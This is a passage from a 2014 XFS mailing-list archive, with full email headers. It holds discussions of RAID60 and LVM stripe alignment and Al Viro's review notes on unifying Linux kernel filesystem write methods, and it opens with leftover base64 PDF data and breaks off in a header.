MDg2Nzg2IDAwMDAwIG4NCjAwMDAwODY5NDcgMDAwMDAgbg0KMDAwMDA4NzE3MiAwMDAwMCBuDQow MDAwMDg3MzUzIDAwMDAwIG4NCjAwMDAwODc2MTUgMDAwMDAgbg0KMDAwMDA4Nzc5NSAwMDAwMCBu DQowMDAwMDg4MDUxIDAwMDAwIG4NCjAwMDAwODgyMjAgMDAwMDAgbg0KMDAwMDA4ODQ2MSAwMDAw MCBuDQowMDAwMDg4NjM1IDAwMDAwIG4NCjAwMDAwODg4ODEgMDAwMDAgbg0KMDAwMDA4OTA1MiAw MDAwMCBuDQowMDAwMDg5MjkwIDAwMDAwIG4NCjAwMDAwODk0MTggMDAwMDAgbg0KMDAwMDA4OTQ0 OCAwMDAwMCBuDQowMDAwMDg5NjA0IDAwMDAwIG4NCjAwMDAwODk2NzggMDAwMDAgbg0KMDAwMDA4 OTkyNSAwMDAwMCBuDQowMDAwMDg5OTgxIDAwMDAwIG4NCjAwMDAwOTA5NTIgMDAwMDAgbg0KMDAw MDA5MTExMSAwMDAwMCBuDQowMDAwMDkyMDgyIDAwMDAwIG4NCjAwMDAwOTIyNDEgMDAwMDAgbg0K MDAwMDA5MzIxMiAwMDAwMCBuDQowMDAwMDkzMzcxIDAwMDAwIG4NCjAwMDAwOTQzNDIgMDAwMDAg bg0KMDAwMDA5NDUwMSAwMDAwMCBuDQowMDAwMDk1NDcyIDAwMDAwIG4NCjAwMDAwOTU2MzEgMDAw MDAgbg0KMDAwMDA5NjYwMiAwMDAwMCBuDQowMDAwMDk2NzYxIDAwMDAwIG4NCjAwMDAwOTc3MzIg MDAwMDAgbg0KMDAwMDA5Nzg5MSAwMDAwMCBuDQowMDAwMDk4ODYyIDAwMDAwIG4NCjAwMDAwOTkw MjEgMDAwMDAgbg0KMDAwMDA5OTk5MiAwMDAwMCBuDQowMDAwMTAwMTUxIDAwMDAwIG4NCjAwMDAx MDExMjIgMDAwMDAgbg0KMDAwMDEwMTI4MSAwMDAwMCBuDQowMDAwMTAyMjUyIDAwMDAwIG4NCjAw MDAxMDI0MTEgMDAwMDAgbg0KMDAwMDEwMzM4MiAwMDAwMCBuDQowMDAwMTAzNTQxIDAwMDAwIG4N CjAwMDAxMDQ1MTIgMDAwMDAgbg0KMDAwMDEwNDY3MSAwMDAwMCBuDQowMDAwMTA1NjQyIDAwMDAw IG4NCjAwMDAxMDU4MDEgMDAwMDAgbg0KMDAwMDEwNjc3MiAwMDAwMCBuDQowMDAwMTA2OTMxIDAw MDAwIG4NCjAwMDAxMDc5MDIgMDAwMDAgbg0KMDAwMDEwODA2MSAwMDAwMCBuDQowMDAwMTExNjEy IDAwMDAwIG4NCjAwMDAxMTc2MTMgMDAwMDAgbg0KMDAwMDEyMjc3NiAwMDAwMCBuDQowMDAwMTI2 MTQzIDAwMDAwIG4NCjAwMDAxMzcwOTEgMDAwMDAgbg0KMDAwMDE1OTkyNyAwMDAwMCBuDQowMDAw MTYwMDczIDAwMDAwIG4NCjAwMDAxNjA2ODYgMDAwMDAgbg0KMDAwMDE2MDkyNyAwMDAwMCBuDQow MDAwMTYxMDkyIDAwMDAwIG4NCjAwMDAxODI5MTIgMDAwMDAgbg0KMDAwMDE4MjkzOSAwMDAwMCBu DQowMDAwMjc3Mjk2IDAwMDAwIG4NCjAwMDAyNzc0NzcgMDAwMDAgbg0KMDAwMDM4ODU4NCAwMDAw MCBuDQowMDAwMzg4NjExIDAwMDAwIG4NCjAwMDA0ODQwMDMgMDAwMDAgbg0KMDAwMDQ4NDAzMCAw MDAwMCBuDQowMDAwNDg0NDI2IDAwMDAwIG4NCjAwMDA1NDIxNDkgMDAwMDAgbg0KMDAwMDU0MjM0 MCAwMDAwMCBuDQp0cmFpbGVyDQo8PC9TaXplIDkyL1Jvb3QgMSAwIFIvSW5mbyA3NiAwIFIvSURb PEUwNjdGRDdBRjBDNjkwNDBBMEMyN0E5Njg5QUZGMDkzPjxFMDY3RkQ3QUYwQzY5MDQwQTBDMjdB OTY4OUFGRjA5Mz5dID4+DQpzdGFydHhyZWYNCjU0Mjg1MQ0KJSVFT0YNCnhyZWYNCjAgMA0KdHJh aWxlcg0KPDwvU2l6ZSA5Mi9Sb290IDEgMCBSL0luZm8gNzYgMCBSL0lEWzxFMDY3RkQ3QUYwQzY5 MDQwQTBDMjdBOTY4OUFGRjA5Mz48RTA2N0ZEN0FGMEM2OTA0MEEwQzI3QTk2ODlBRkYwOTM+XSAv UHJldiA1NDI4NTEvWFJlZlN0bSA1NDIzNDA+Pg0Kc3RhcnR4cmVmDQo1NDQ4NDkNCiUlRU9G ------=_20140201160213_13010-- From lists@colorremedies.com Sat Feb 1 14:55:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9FBCE7F52 for ; Sat, 1 Feb 2014 14:55:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6C24F8F8040 for ; Sat, 1 Feb 2014 12:55:22 -0800 (PST) X-ASG-Debug-ID: 1391288117-04bdf0121d91b90001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id MZfrCgwftKYUmmgh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 01 Feb 2014 12:55:17 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:53256 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1W9hau-001UQb-LB; Sat, 01 Feb 2014 13:55:16 -0700 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. From: Chris Murphy X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <52ED4143.6090303@hardwarefreak.com> Date: Sat, 1 Feb 2014 13:55:16 -0700 Cc: xfs Content-Transfer-Encoding: quoted-printable Message-Id: References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> To: stan@hardwarefreak.com X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1391288117 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144728 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Feb 1, 2014, at 11:47 AM, Stan Hoeppner = wrote: > On 1/31/2014 12:35 AM, Chris Murphy wrote: >> Hopefully this is an acceptable way to avoid thread jacking, by >> renaming the subject=85 >>=20 >> On Jan 30, 2014, at 10:58 PM, Stan Hoeppner >> wrote: >>>=20 >>> RAID60 is a nested RAID level just like RAID10 and RAID50. It is >>> a stripe, or RAID0, across multiple primary array types, RAID6 in >>> this case. The stripe width of each 'inner' RAID6 becomes the >>> stripe unit of the 'outer' RAID0 array: >>>=20 >>> RAID6 geometry 128KB * 12 =3D 1536KB RAID0 geometry 1536KB * = 3 =3D >>> 4608KB >>=20 >> My question is on this particular point. If this were hardware raid6, >> but I wanted to then stripe using md raid0, using the numbers above >> would I choose a raid0 chunk size of 1536KB? How critical is this >> value for, e.g. only large streaming read/write workloads? If it were >> smaller, say 256KB or even 32KB, would there be a significant >> performance consequence? >=20 > You say 'if it were smaller...256/32KB'. What is "it" referencing? it =3D chunk size for md raid0.=20 So chunk size 128KB * 12 disks, hardware raid6. Chunk size 32KB [1] = striping the raid6's with md raid0. Chris Murphy From stan@hardwarefreak.com Sat Feb 1 15:06:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BEDF87FB2 for ; Sat, 1 Feb 2014 15:06:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A56A8F8040 for ; Sat, 1 Feb 2014 13:06:23 -0800 (PST) X-ASG-Debug-ID: 1391288778-04cb6c6de388c80001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id fsxohdR6K09DVAmg for ; Sat, 01 Feb 2014 13:06:18 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 22ED76C186; Sat, 1 Feb 2014 15:06:18 -0600 (CST) Message-ID: <52ED61C9.8060504@hardwarefreak.com> Date: Sat, 01 Feb 2014 15:06:17 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: "C. Morgan Hamill" CC: xfs Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <1391202273-sup-9265@al.wesleyan.edu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391288778 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/31/2014 3:14 PM, C. Morgan Hamill wrote: > Excerpts from Stan Hoeppner's message of 2014-01-31 00:58:46 -0500: ... >> LVM typically affords you much more flexibility here than your RAID/SAN >> controller. Just be mindful that when you expand you need to keep your >> geometry, i.e. stripe width, the same. Let's say some time in the >> future you want to expand but can only afford, or only need, one 14 disk >> chassis at the time, not another 3 for another RAID60. Here you could >> create a single 14 drive RAID6 with stripe geometry 384KB * 12 = 4608KB. >> >> You could then carve it up into 1-3 pieces, each aligned to the >> start/end of a 4608KB stripe and evenly divisible by 4608KB, and add >> them to one of more of your LVs/XFS filesystems. This maintains the >> same overall stripe width geometry as the RAID60 to which all of your >> XFS filesystems are already aligned. > > OK, so the upshot is is that any additions to the volume group must be > array with su*sw=4608k, and all logical volumes and filesystems must > begin and end on multiples of 4608k from the start of the block device. > > As long as these things hold true, is it all right for logical > volumes/filesystems to begin on one physical device and end on another? Yes, that's one of the beauties of LVM. However, there are other reasons you may not want to do this. For example, if you have allocated space from two different JBOD or SAN units to a single LVM volume, and you lack multipath connections, if you have a cable, switch, HBA, or other failure disconnecting one LUN that will wreak havoc on your mounted XFS filesystem. If you have multipath and the storage device disappears due to some other failure such as backplane, UPS, etc, you have the same problem. This isn't a deal breaker. There are many large XFS filesystems in production that span multiple storage arrays. You just need to be mindful of your architecture at all times, and it needs to be documented. Scenario: XFS unmounts due to an IO error. You're not yet aware an entire chassis is offline. You can't remount the filesystem so you start a destructive xfs_repair thinking that will fix the problem. Doing so will wreck your filesystem and you'll likely lose access to all the files on the offline chassis, with no ability to get it back short of some magic and a full restore from tape or D2D backup server. We had a case similar to this reported a couple of years ago. >> If you remember only 3 words of my post, remember: >> >> Alignment, alignment, alignment. > > Yes, I am hearing you. :-) > >> For a RAID60 setup such as you're describing, you'll want to use LVM, >> and you must maintain consistent geometry throughout the stack, from >> array to filesystem. This means every physical volume you create must >> start and end on a 4608KB stripe boundary. Every volume group you >> create must do the same. And every logical volume must also start and >> end on a 4608KB stripe boundary. If you don't verify each layer is >> aligned all of your XFS filesystems will likely be unaligned. And >> again, performance will suffer, possibly horribly so. > > So, basically, --dataalignment is my friend during pvcreate and > lvcreate. If the logical sector size reported by your RAID controller is 512 bytes, then "--dataalignment=9216s" should start your data section on a RAID60 stripe boundary after the metadata section. Tthe PhysicalExtentSize should probably also match the 4608KB stripe width, but this is apparently not possible. PhysicalExtentSize must be a power of 2 value. I don't know if or how this will affect XFS aligned write out. You'll need to consult with someone more knowledgeable of LVM. > Thanks so much for your and Dave's help; this has been tremendously > helpful. You bet. -- Stan From stan@hardwarefreak.com Sat Feb 1 15:44:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A62127F58 for ; Sat, 1 Feb 2014 15:44:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 87C6B8F804C for ; Sat, 1 Feb 2014 13:44:17 -0800 (PST) X-ASG-Debug-ID: 1391291056-04cbb00c2986150001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id rcNEBqfwCkCloyll for ; Sat, 01 Feb 2014 13:44:16 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 445136C186; Sat, 1 Feb 2014 15:44:16 -0600 (CST) Message-ID: <52ED6AAF.6030703@hardwarefreak.com> Date: Sat, 01 Feb 2014 15:44:15 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Chris Murphy CC: xfs Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. In-Reply-To: Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391291056 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/1/2014 2:55 PM, Chris Murphy wrote: > > On Feb 1, 2014, at 11:47 AM, Stan Hoeppner > wrote: > >> On 1/31/2014 12:35 AM, Chris Murphy wrote: >>> Hopefully this is an acceptable way to avoid thread jacking, by >>> renaming the subject… >>> >>> On Jan 30, 2014, at 10:58 PM, Stan Hoeppner >>> wrote: >>>> >>>> RAID60 is a nested RAID level just like RAID10 and RAID50. It >>>> is a stripe, or RAID0, across multiple primary array types, >>>> RAID6 in this case. The stripe width of each 'inner' RAID6 >>>> becomes the stripe unit of the 'outer' RAID0 array: >>>> >>>> RAID6 geometry 128KB * 12 = 1536KB RAID0 geometry 1536KB * 3 >>>> = 4608KB >>> >>> My question is on this particular point. If this were hardware >>> raid6, but I wanted to then stripe using md raid0, using the >>> numbers above would I choose a raid0 chunk size of 1536KB? How >>> critical is this value for, e.g. only large streaming read/write >>> workloads? If it were smaller, say 256KB or even 32KB, would >>> there be a significant performance consequence? >> >> You say 'if it were smaller...256/32KB'. What is "it" >> referencing? > > it = chunk size for md raid0. > > So chunk size 128KB * 12 disks, hardware raid6. Chunk size 32KB [1] > striping the raid6's with md raid0. Frankly, I don't know whether you're pulling my chain, or really don't understand the concept of nested striping. I'll assume the latter. When nesting stripes, the chunk size of the outer stripe is -always- equal to the stripe width of each inner striped array, as I clearly demonstrated earlier: 3 RAID6 arrays RAID6 geometry 128KB * 12 = 1536KB RAID60 geometry 1536KB * 3 = 4608KB mdadm allows you enough rope to hang yourself in this situation because it doesn't know the geometry of the underlying hardware arrays, and has no code to do sanity checking even if it did. Thus it can't save you from yourself. RAID HBA and SAN controller firmware simply won't allow this. They configure the RAID60 chunk size automatically equal to the RAID6 stripe width. If some vendor's firmware allows one to manually enter the RAID60 chunk size with a value different from the RAID6 stripe width, stay away from that vendor. -- Stan From viro@ftp.linux.org.uk Sat Feb 1 16:43:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1A3147F8B for ; Sat, 1 Feb 2014 16:43:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 04E0A30407B for ; Sat, 1 Feb 2014 14:43:31 -0800 (PST) X-ASG-Debug-ID: 1391294607-04cb6c6de08aa60001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id XbAy2owXO6Q5uCWc (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 01 Feb 2014 14:43:28 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W9jHB-00008g-Rw; Sat, 01 Feb 2014 22:43:01 +0000 Date: Sat, 1 Feb 2014 22:43:01 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp , Anton Altaparmakov Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140201224301.GS10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391294608 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Mon, Jan 20, 2014 at 12:32:01PM -0800, Linus Torvalds wrote: > On Mon, Jan 20, 2014 at 5:55 AM, Christoph Hellwig wrote: > > On Sun, Jan 19, 2014 at 05:13:35AM +0000, Al Viro wrote: > >> Folks, what do you think about the following: > > > > That's very much what Shaggy did in the aio-direct tree, except that > > it kept using a single set of methods. Linus really didn't like it > > unfortunately. > > Umm. That wasn't what I objected to. > > I objected to the incredibly ugly implementation, the crazy new flags > arguments for core helper functions, ugly naming etc etc. I even > outlined what might fix it. > > In other words, I thought the code was shit and ugly. Not that > iterators per se would be wrong. Just doing them badly is wrong. Gyahhh... OK, I should've known better than go looking into that thing after such warning. Some relatively printable notes (i.e. about 10% of the comments I really had about that) follow: * WTF bother passing 'pos' separately? It's the same mistake that was made with ->aio_read/->aio_write and just as with those, *all* callers provably have pos == iocb->ki_pos. * I'm not sure that iov_iter is a good fit here. OTOH, it probably could be reused (it has damn few users right now and they are on the codepaths involved into that thing). * We *definitely* want a variant structure with tag - unsigned long thing was just plain insane. I see at least two variants - array of iovecs and array of (at least) triples . Quite possibly - quadruples, with "here's how to try to steal this page" thrown in, if we want that as replacement for ->splice_write() as well (it looks like the few instances that do steal on pipe-to-file splices could be dealt with the same way as the dumb ones, provided that ->write_iter or whatever we end up calling it is allowed to try and steal pages). Possibly more variants on the read side of things... FWIW, I'm not sure that bio_vec makes a lot of sense here. * direction (i.e. source vs. destination) also should be a part of that tag. Which, BTW, turns ->direct_IO() into iocb x iov_iter -> int; the situation with pos is identical to aio_read/aio_write. While we are at it, KERNEL_WRITE thing (used only for __swap_writepage()) looks very much like a special case of "array of " we want for splice_write... * having looked through the ->read and ->write instances in drivers, I'd say that surprisingly few helpers would go a _long_ way towards converting those guys to the same methods. And we need such helpers anyway - there's a whole lot of (badly) open-coded "copy the whole user buffer into kmalloc'ed array and NUL-terminate the sucker" logics in ->write() instances, for example. Even more "copy up to that much into given array and NUL-terminate it", with rather amusing bugs in there - e.g. NUL going into the end of array, regardless of the actual amount of data to copy; junk is left in the middle, complete with printk of the entire thing if it doesn't make sense. IOW, spewing random piece of kernel stack into dmesg. Off-by-ones galore, too... BTW, speaking of bogosities - grep for generic_write_checks(). Exactly one caller (in __generic_file_aio_write()) has any business looking at S_ISBLK(inode->i_mode) - it can be called by blkdev_aio_write(). All other callers have copied that, even though it makes absolutely no sense for them... * file_readable/file_writable looks really wrong; if nothing else, I would rather check that after open() and set a couple of FMODE bits, then check those. Possibly even "knock FMODE_READ/FMODE_WRITE out if there's no method"... * pipe_buffer_operations ->map()/->unmap() should die; let the caller do k{,un}map{,_atomic}(). All instances have the same method there and there's no point to make it different. PIPE_BUF_FLAG_ATOMIC should also go. * WTF do iov_iter_copy_from_user_atomic() callers keep doing pagefault_disable and pagefault_enable around it? The sucker starts with kmap_atomic() and ends with kunmap_atomic(); all instances of those guys have pagefaul disabling/enabling (and I suspect that it might make sense to lift it out of arch-specific variants - rename them to e.g. __kmap_atomic(), rip pagefault_disable() out of those and put kmap_atomic() into highmem.h outside of ifdef, with !HIGHMEM side of ifdef having #define __kmap_atomic page_address; move pagefault_enable() from __kunmap_atomic() to kunmap_atomic() while we are at it). Note that e.g. pipe.c relies on kmap_atomic() disabling pagefaults - we have __copy_from_user_inatomic() done there under kmap_atomic(), and we really don't want to block in such conditions. * pipe_iov_copy_from_user() ought to return how much has it managed to bring in, not 0 or -EFAULT as it does now. Then it won't need the non-atomic side, AFAICS. Moreover, we'll just be able to use iov_iter_copy_from_user_atomic() (which badly needs a more palatable name, BTW). * sure, we want to call do_generic_file_read() once, passing the entire iovec to file_read_actor(). But what the hell does that have to do with introduction of new methods? It's a change that makes sense on its own. Moreover, it's a damn good preparation to adding those - we get generic_file_aio_read() into "set iov_iter up, then do ", with using iov_iter instead of iovec. Once we get to introducing those methods, it's just a matter of taking the rest of generic_file_aio_read() into a separate function and making that function an instance of new method... * Unrelated to this patchset, but... may I politely inquire about the reasons why ->is_partially_uptodate() gets read_descriptor_t? The whole point of read_descriptor_t (if it has any) is that its interpretation is up to whoever's doing the reading, _not_ what they are reading from. So desc->arg is off-limits for any instance of ->is_partially_uptodate(). desc->written is obviously pointless for them; the need (or lack thereof) to do something to the page doesn't depend on how much have we already read from the file. Moreover, reporting an error is rather dubious in such method; if there's something fishy with the page, we'll just return "no" and let ->readpage() complain. Which leaves only desc->count, which, unsurprisingly, is the only thing looked at by (the only) instance of that method. And "tell me if the part of this page that long starting from that offset is up to date" is much more natural that "is what this read_descriptor_t would have had us read from this offset in this page up to date?"... * do we really need separate non-atomic variant of iov_iter_copy_from_user()? We have only two users right now (cifs and ceph) and both can use the fault-in / atomic copy loop without much pain... * in addition to having too many methods, I'm not convinced that we want them to be methods. Let's start with explicit checks in the primitives and see where it goes from there; if we start to grow too many variants, we can always introduce some methods, but then we'll be in better position to decide what is and what is not a good method... * on the read side, I really don't believe that exposing atomic and non-atomic variants is a good idea. Look at the existing users of __copy_to_user_inatomic(); leaving aside the i915_gem weirdness, all of them are used to implement the exact same thing: given a page, offset and length, feed its contents to iovec/buffer/whatnot. Unlike the write side of things, there's nothing between prefaulting pages and actual attempts to copy. So let's make _that_ an exposed primitive and let it deal with kmap/kmap_atomic/etc. Variants that don't have to worry about blocking (vector of , etc.) would simply not bother with non-atomic kmap, etc. Sure, it should take iov_iter as destination. And deal with mapping the damn thing internally... * ntfs_file_buffered_write() should switch to iov_iter as well. It's open-coding a lot of iov_iter stuff. It's not entirely trivial and I'd really like to hear from ntfs folks on that, though, and the current code looks deadlock-prone. We prefault everything, then lock the pages to which we'll be copying, then attempt to do __copy_from_user_inatomic(), falling back to __copy_from_user() if that fails. Fine, but what happens if the source of write() is mmaped from the same file and we lose CPU while prefaulting the last page, have memory pressure evict the first one, then have __ntfs_grab_cache_pages() allocate and lock (nonuptodate) pages we'll be copying to and have __copy_from_user() try to copy *from* those same pages? We are doing it while holding these pages locked, so pagefault will have really fun time with them... Anton? BTW, Linus, when did you comment on that patchset? I've found an iteration of that patchset circa last October (v9, apparently the latest posted), but it looks like your comments had either got lost or had been on the earlier iteration of that thing... From linus971@gmail.com Sat Feb 1 18:13:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 256D27FA9 for ; Sat, 1 Feb 2014 18:13:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1CE1AC008 for ; Sat, 1 Feb 2014 16:13:43 -0800 (PST) X-ASG-Debug-ID: 1391300016-04bdf0121e98b00001-NocioJ Received: from mail-ve0-f180.google.com (mail-ve0-f180.google.com [209.85.128.180]) by cuda.sgi.com with ESMTP id ZLzqWqJgec6IitSQ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 16:13:37 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.180] Received: by mail-ve0-f180.google.com with SMTP id db12so4118918veb.11 for ; Sat, 01 Feb 2014 16:13:36 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=J8qGzdpi2nu4yWDtXfJ5mghrSPylDKm/TuqHF31VQP4=; b=yFLaWJmONoazZHF3tXtG1QdSijJelpu9/TwjwjdXUZf4dpd8QOuoLZ5VuOB7cukDEq bF2p8w5dikHlXraxfPQ2f7kO9m9VX3STdpFJ2LumowGydVGE8B6lwOJXxfY6beE1kgZl 